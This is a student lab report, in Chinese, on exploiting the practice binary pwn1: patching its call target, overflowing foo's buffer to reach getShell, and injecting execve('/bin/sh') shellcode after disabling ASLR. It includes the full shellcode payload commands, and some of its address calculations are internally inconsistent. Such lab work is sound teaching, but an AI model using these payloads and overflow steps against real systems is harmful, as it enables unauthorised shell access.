20212916 2021-2022-2《網路攻防實踐》實踐九
1. 實驗內容
本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下:
1.手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
2.利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
3.注入一個自己製作的shellcode並執行這段shellcode
2.實驗步驟
2.1 實踐1 手工修改可執行檔案
將目標檔案放在桌面並解壓縮,之後輸入命令與檔名進行反編譯操作
可以看見裡面的三個函式及其對應的儲存位置
同時在main函式中呼叫了foo函式,接下來我們的工作就是更改程式碼,讓main函式呼叫getshell函式。
輸入命令,複製檔案,接下來的操作都是針對這個複製的檔案進行操作的。
檔案複製成功
輸入命令 啟動vi後進入的工作模式
按esc然後輸入:%!xxd更改顯示模式為16進位制
查詢要修改的內容/d7
之後將d7修改為c3 選中要修改的字元,按下r鍵,然後鍵入修改內容即可修改成功
之後鍵入命令:%!xxd -r返回之前的格式,輸入命令:wq存檔並退出
對修改後的檔案2進行反編譯,發現檔案中的main函式已經被修改了
最後執行一下程式,發現跳回到了終端。說明修改成功啦
2.2實踐2利用foo函式的Bof漏洞,構造攻擊字串
首先複製一個檔案3,下面的操作都在在檔案3上進行,首先對其進行反彙編操作
通過分析彙編程式可以發現foo函式的緩衝區溢位漏洞
接下來就是構造一個字串,造成緩衝區溢位攻擊,使用除錯工具,其中r表示執行
輸入一串字元,下面一行為回顯,超過了28個,所以下方出現了報錯,因為沒有後面的資料對應的地址
可以看到eip的值發生了變化
重新輸入一次,這次我們修改後面八個字元
這時我們發現eip的值又發生了改變
根據上面兩次的輸入,我們發現第五組的前四個字元會到eip,所以我們可以將這四個字元進行修改為0804847D或者7D840408(僅有一個是正確的)。應該是小端優先,所以應該是第一個字元,接下來我們輸入修改後的命令進行驗證。
由於鍵盤不能直接輸入資料,我們採用一個外部輸入的檔案,命令如下圖,可以看見桌面上有了一個為input的檔案。
然後按照命令將input中的內容輸入,執行程式,輸入字元就不是回顯內容,而是跳入到終端命令中了。
2.3注入一個自己製作的shellcode並執行這段shellcode
本實驗剛剛開始是在kali下做的,但是安裝軟體不能成功,更新源也不可以,百度發現安裝這個軟體的都是Ubuntu,所以更換虛擬機器之後下載成功了,最終實驗也如期完成。
本次實驗也是利用緩衝區溢位漏洞來注入shellcode。其中shellcode的首地址要放在eip中的0804847d的位置,shellcode則需要放在eip前面或者後面。
需要利用實驗二的方法,32個數,佔滿堆疊的區域性空間變數,最後四個位元組在eip。
首先是實驗前期的一些準備階段,修改一些設定
首先複製一個pwn2,後續操作將在此檔案上進行。
設定堆疊可執行
查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
構造shellcode為滑行區+shellcode+返回地址
命令列為:
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
將input_shellcode注入pwn2
命令:(cat input_shellcode;cat) | ./pwn2
找到pwn2的程序號;6605
命令:ps -ef | grep pwn2
開啟gdb,輸入命令:attach 6605 注意要在root許可權下開啟gdb,否則會報錯
接下來輸入 disassemble foo 發現在0x80284ae處停住
然後設定斷點,break *0x080484ae 在第一個終端按回車,回到第二個 輸入c
然後在gdb中輸入info r esp,發現指標位置在0xbfffd4cc
0xbfffd21c+0x00000004=0xbffffd0,在開頭倒序輸入計算的結果
將\x01\x02\x03\x04\改為\xfc\xd1\xff\xff\x00
輸入命令
perl -e 'print "A" x 32;print
"\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xfc\xd1\xff\xff\x00"' > input_shellcode1
輸入命令執行程式
命令:(cat input_shellcode1;cat) | ./pwn2
之後按下回車介面顯示有一部分亂碼,這時攻擊已經成功了,接著輸入命令,發現已經跳到了終端。
問題
問題一:反編譯命令之後程式碼內容顯示不全,一直找不到想要的內容。
解決:請教同學之後發現需要按s鍵才能顯示全部。
問題二:第一次實驗其實是失敗了的,可能是自己在更改程式碼的時候不小心修改了其他的內容。
解決:重來一遍就成功了。
問題三:按照步驟走,到最後一步就是不能成功。
解決:最後關閉了其他終端後,重新修改數,之後成功了。
思考
本次實驗的實驗二的重點在於如何去計算緩衝區溢位的數值和如何確定填充數字是什麼,同時也對組合語言能力有一定要求。有問題可以自己想辦法,百度,或者自己思考問題所在,不要總是把希望寄託在別人的身上。